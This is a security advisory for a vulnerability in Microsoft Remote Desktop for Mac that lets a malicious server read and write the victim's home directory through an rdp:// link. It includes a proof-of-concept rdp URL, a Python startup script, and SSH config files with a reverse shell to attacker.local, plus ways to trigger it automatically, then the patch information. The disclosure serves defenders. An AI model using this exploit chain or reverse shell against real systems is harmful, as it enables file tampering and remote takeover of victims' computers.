104 lines
No EOL
4.2 KiB
Markdown
104 lines
No EOL
4.2 KiB
Markdown
## Description
|
|
A vulnerability exists in Microsoft Remote Desktop for Mac that allows a remote attacker to execute arbitrary code on the target machine.
|
|
User interaction is needed to exploit this issue, but a single click on a link (sent via mail, iMessage, etc.) is sufficient to trigger the vulnerability.
|
|
|
|
## Details
|
|
Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably prior) allows a malicious Terminal Server to read and write any file in the home directory of the connecting user.
|
|
The vulnerability exists to the way the application handles rdp urls. In the rdp url schema it's possible to specify a parameter that will make the user's home directory accessible to the server without any warning or confirmation request. If an attacker can trick a user to open a malicious rdp url, he/she can read and write any file within the victim's home directory.
|
|
|
|
Since Mac OS X by default opens rdp urls without confirmation (for example via Safari, Mail, Messages), a single click on a link it's sufficient to trigger the vulnerability.
|
|
|
|
According to Microsoft, no CVE will be assigned due to the release model of this particular client.
|
|
|
|
A demo video is available at https://youtu.be/6HeSiXYRpNY.
|
|
|
|
## Proof Of Concept
|
|
The following Proof Of Concept creates a directory on the victim's home and puts a file into it.
|
|
To reproduce the issue follow the steps below:
|
|
|
|
- install a windows 2008 server and allow Administrator to connect without password
|
|
- login as Administrator
|
|
- configure a trusted ssl certificate for rdp connections
|
|
- install python2.7 and put the following script in the "Startup" folder
|
|
- logout
|
|
- send the link below to a victim
|
|
RDC link:
|
|
|
|
```
|
|
rdp://full%20address=s:attacker.local&desktopwidth=i:200&desktopheight=i:200&audiomode=i:2&disable%20themes=i:1&screen%20mode%20id=i:1&devicestoredirect:s:*&drivestoredirect=s:*&redirectprinters=i:1&username=s:Administrator
|
|
```
|
|
|
|
|
|
### Python script
|
|
|
|
```
|
|
#BOF
|
|
import sys
|
|
import subprocess
|
|
import time
|
|
import os
|
|
|
|
def runcmd(cmd):
|
|
err = None
|
|
out = None
|
|
try:
|
|
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE);
|
|
out, err = process.communicate()
|
|
except Exception as e:
|
|
print str(e)
|
|
|
|
return out
|
|
|
|
|
|
while(True):
|
|
netuse = runcmd("net use")
|
|
if netuse.find("TSCLIENT"):
|
|
runcmd('MKLINK /D C:\\home \\\\tsclient\\home')
|
|
|
|
runcmd('md c:\\home\\REMOTE')
|
|
|
|
runcmd('copy c:\\REMOTE.txt c:\\home\\REMOTE\\REMOTE.txt')
|
|
|
|
runcmd("shutdown /l /f")
|
|
break
|
|
|
|
time.sleep(0.4)
|
|
#EOF
|
|
```
|
|
|
|
## Remote Code Execution
|
|
To execute arbitrary code on the target machine we can use a trick that involves ssh and ssh:// URI handler.
|
|
Consider the following example where the RDC exploit pushes the following files on the remote machine:
|
|
|
|
- `~/.ssh/known_hosts`
|
|
```
|
|
p ssh-rsa AAAAB3NzaC1yc2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
```
|
|
- `~/.ssh/config`
|
|
```
|
|
Host p
|
|
HostName p
|
|
ProxyCommand /bin/bash ~/.ssh/command.sh
|
|
```
|
|
- `~/.ssh/command.sh`
|
|
```
|
|
for a in {1..31}; do trap "" $a; done
|
|
nohup bash -i >& /dev/tcp/attacker.local/1234 0 &
|
|
```
|
|
|
|
At this point any attempt to launch ssh://p will lead to the execution of ~/.ssh/command.sh without any warning. To automatically execute the triggering URL (ssh://p) we can either:
|
|
|
|
- send the link to the victim via Mail or iMessage
|
|
- poison Safari cache adding some javascript that launches the URL
|
|
- poison Safari "Application Saved State" so that the URL il launched at browser execuition
|
|
- poison "loginitems" to launch the URL at system startup
|
|
|
|
It's also possible achieve Remote Code Execution by sending a single link to the victim if he/she uses Safari as the default browser.
|
|
|
|
## Update
|
|
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents this exploit from working.
|
|
This fix is mentioned in the Apple Store:
|
|
This update fixes an issue where a website could repeately attempt to launch other websites or applications
|
|
|
|
## Solution
|
|
Update Microsoft RDC to the latest version. The version 8.0.37 fixes this issue. |